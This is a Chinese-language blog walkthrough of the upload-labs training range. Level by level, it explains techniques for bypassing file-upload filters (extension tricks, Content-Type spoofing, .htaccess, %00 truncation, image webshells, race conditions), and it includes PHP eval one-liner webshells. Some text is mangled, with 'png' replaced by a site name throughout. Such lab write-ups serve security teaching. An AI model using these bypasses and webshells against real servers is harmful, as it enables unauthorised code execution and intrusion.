Upload-Labs
概述
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在
帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式
下载地址:链接:https://pan.baidu.com/s/1Xz4u-zBcL98GboExGBT3rA?pwd=8ylh
提取码:8ylh
环境安装
将下载后的文件进行解压,放在www目录下,访问即可
事先准备
先准备一个123.php文件
Pass-01(前端校验)
当直接上传php文件时,页面进行了弹窗
第一种方法:浏览器禁止JS
1.对于chrome浏览器,设置--隐私设置和安全性--JavaScript
2.刷新页面,上传123.php文件
3.复制图片地址进行打开
第二种方法:通过抓包工具Burp,通过改后缀名的形式
1.将123.php文件修改后缀为123.jpg,即修改为允许上传的后缀名
2.将123.jpg修改为123.php即可
3.复制图片地址进行访问
Pass-02(Content-Type)
知识点
Content-Type用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文
件
Content-type 标头告诉客户端实际返回的内容类型
常见的媒体格式类型:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png-xbxaq.com:png-xbxaq.com图片格式
1.同样先上传123.php文件,提示为文件类型不正确
2.通过Burp抓取123.php的上传流量
3.将Content-Type类型修改为jpg文件类型
4.上传成功,访问图片地址
Pass-03(黑名单)
知识点-php扩展名
默认状态下.php3,.php4,.php5,.phtml 都是会被解析为php
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
php phtml php3 php4 php5
exe exee
1.上传php文件后,提示不允许上传.php后缀文件
2.将.php后缀修改为.php5后缀
3.上传成功,访问图片地址
提示信息
当上传的phtml没有解析时
在phpstudy中,其他选项菜单--打开配置文件--http-conf
将#号去掉,就可以解析phtml文件为php文件,如果想解析php3后缀文件,在后面添加即可
Pass-04(.htaccess文件)
知识点
.htaccess文件-->分布式配置文件
提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作
用于次目录及其所有子目录
.htaccess的功能:
可帮助我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封
禁特定IP地址的用户、禁止目录列表等一些功能
1.将下列指令写入txt中
AddType application/x-httpd-php .jpg
指令表示 .jpg文件会当做php来解析
利用cmd进行重命名为.htaccess
2.先上传.htaccess文件
3.将木马文件的php后缀修改为jpg后缀,进行上传,打开图片
Pass-05(大小写)
从给出的提示来讲,过滤了很多后缀,但是仔细观察没有过滤PHP
故修改文件后缀PHP,上传
Pass-06(空格)
通过观察源代码,文件上传后的大致流程为:
获取上传的文件名
删除文件名末尾的.
返回最后一次小数点出现的位置到字符串结束之间的字符
转换大小写
去除字符串::$DATA
故可以构造payload
a.php+空格
a.php+空格=>.php+空格
对于黑名单而言 a.php+空格与a.php是不一样的
但对于Windows,a.php+空格与a.php是一样的
1.上传php文件后通过burp抓包,在后缀php后面添加一个空格
2.访问图片地址
Pass-07(点)
利用strrchr()函数绕过,strrchr()函数:查找字符串在另一个字符串中最后一次出现的位置,并返回从该
位置到字符串结尾的所有字符。
1.上传php木马文件,抓包将php文件后缀处多加一个.
2.访问图片地址
Pass-08(::$DATA)
1.::$DATA Windows文件流
对于Windows而言
a.php 与a.php::$DATA 是一样的
但是对于黑名单检测来讲是不一样的
2.将PHP上传,抓包修改php文件后缀
3.访问图片地址后显示403
4.将文件后缀名::$DATA后缀删除即可
Pass-09(点空格点)
1.关键函数
大致流程
获取上传文件名
删除文件名末尾的点
返回最后一次点出现的位置到字符串结束之间的字符串
转换为小写
去除字符串::$DATA
首尾去空
构造payload
构造函数名:a.php.空格.
删除文件名末尾的点:a.php.空格
返回最后一次点出现的位置:.空格
转换小写、去除::$DATA、首尾去空: .
最后文件名为a.php. 在Windows中,文件名最后的点可以被自动忽略
2.上传文件,修改文件后缀名
3.访问上传后的图片地址即可
Pass-10(双写)
1.主要利用点为str_ireplace() 函数
str_ireplace() 函数:替换字符串中的一些字符(不区分大小写)
如果上传文件名中出现了黑名单中的后缀名就会将后缀名替换为空
2.构造payload:.phphpp --> .php
3.抓取上传的数据包,修改上传后的文件后缀名
4.访问上传后的图片地址
Pass-11(%00截断)
环境准备
php版本低于必须为5.2.x
php.ini配置中magic_quotes_gpc = Of
关键代码
函数:
strrpos():查找字符串在另一字符串中最后一次出现的位置
substr():返回字符串的一部分,substr(string,start,length)
in_array():搜索数组中是否存在指定的值
['name'],".")+1); //获取上传文件名的后缀名
代码大致流程:
截取上传文件的后缀名,如果符合ext_arr数组,将会把文件移动到指定目录并且进行重命名操作,如果文件的后缀名不再ext_arr数组中,会提示上传失败
url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时
就会认为读取已结束
1.抓取数据包
2.访问图片链接
3.直接访问456.php也可以
Pass-12(%00截断)
与Pass11大致相同,只不过是GET传参,改为了POST
URL编码==》16进制编码
GET会对URL编码(16进制)进行解码
POST并不会对16进制进行解码
可以使用burp抓包工具改16进制
1.抓取文件上传包
2.在Hex中修改a的16进制为00
3.修改后
4.访问图片地址
Pass-13(图片马)
图片马:一句话木马和图片 结合在一起
1.制作图片马
cmd命令:
2.以16进制方式打开890.jpg,翻到最后面
注意:由于图片马的使用场景问题,故只要我们上传的图片马上传成功,下载到本地后,一句话木马依
然存在,则算通关
3.上传图片马,上传成功
4.下载到本地Hex查看,图片马存在
.png-xbxaq.com/.gif的制作方式和jpg相同
Pass-14(getimagesize)
关键代码
getimagesize获取图像信息
1.使用上一关的图片马进行上传
2.关键代码
3.使用png-xbxaq.com图片马
4.上传成功
5.下载到本地查看是否还存在一句话木马
Pass-15(exif_imagetype)
关键代码
exif_imagetype函数:判断一个图像的类型
1.使用上一关的图片马,上传成功
2.下载到本地查看是否还存在一句话木马
Pass-16(二次渲染)
代码部分
二次渲染--后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字
符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng-xbxaq.com():创建一块画布,并从 png-xbxaq.com 文件或 URL 地址载入一副图像
1.二次渲染 通常用gif绕
木马写在 GIF图片头部 第3-4行开始写
2.上传成功
3.下载图片到本地,查看下载后的hex
Pass-17(条件竞争)
1.关键代码
大致流程:先上传,再检测,重命名,不符合条件则unlink删除文件
2.先上传普通图片,获取文件路径
3.既然是先上传后检测,则再文件被删除之前生成一个新的文件即可
先上传一句话木马.php
1.php
<?php @eval($_GET[1]);?>
4.再1.php删除之前,访问到1.php,利用PHP中file_put_contents()函数,把一个字符串写入文件中
http://172.16.15.182/upload-labs-0.1/upload/1.php?
1=file_put_contents('56.php','<?php @eval($_REQUEST[8]);?>');
5.上传1.php文件并且抓取到,放到跑包模式中
再抓取访问1.php的包,同样放到burp跑包模式中
6.两个数据包同时进行null payload 跑包
7.访问成功
Pass-18(二次竞争)
关键代码
逻辑顺序
1、服务器先将文件与白名单作对比
2、检查大小看文件是否已经存在
3、再进行重命名
保存到重命名之间,会有一段时间差
在这段时间内,文件还是能被访问到的,并被解析执行
于Pass-16相同操作
Pass-19(黑名单检测)
关键函数
move_uploaded_file() 函数把上传的文件移动到新位置。
如果成功该函数返回 TRUE,如果失败则返回 FALSE。
对上传的文件,没有任何检测,但对其保存的文件名进行检测
1.构造木马文件321.php
<?php phpinfo();?>
修改后缀为jpg
2.使用.绕过,使用Burp抓取上传的数据包
3.访问图片地址
Pass-20(白名单检测)
关键代码
函数解析
三目运算符:(expr1) ? (expr2) : (expr3); 如果条件expr1 成立,执行expr2,否则执行expr3;
explode() 函数:把字符串打散为数组
end()函数:删除数组中最后一个值
count()函数:统计数组个数
reset()函数:将内部指针指向数组中的第一个元素,并输出
可使用 数组绕过
1.抓取数据包,改包
2.上传成功
3.访问图片地址
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论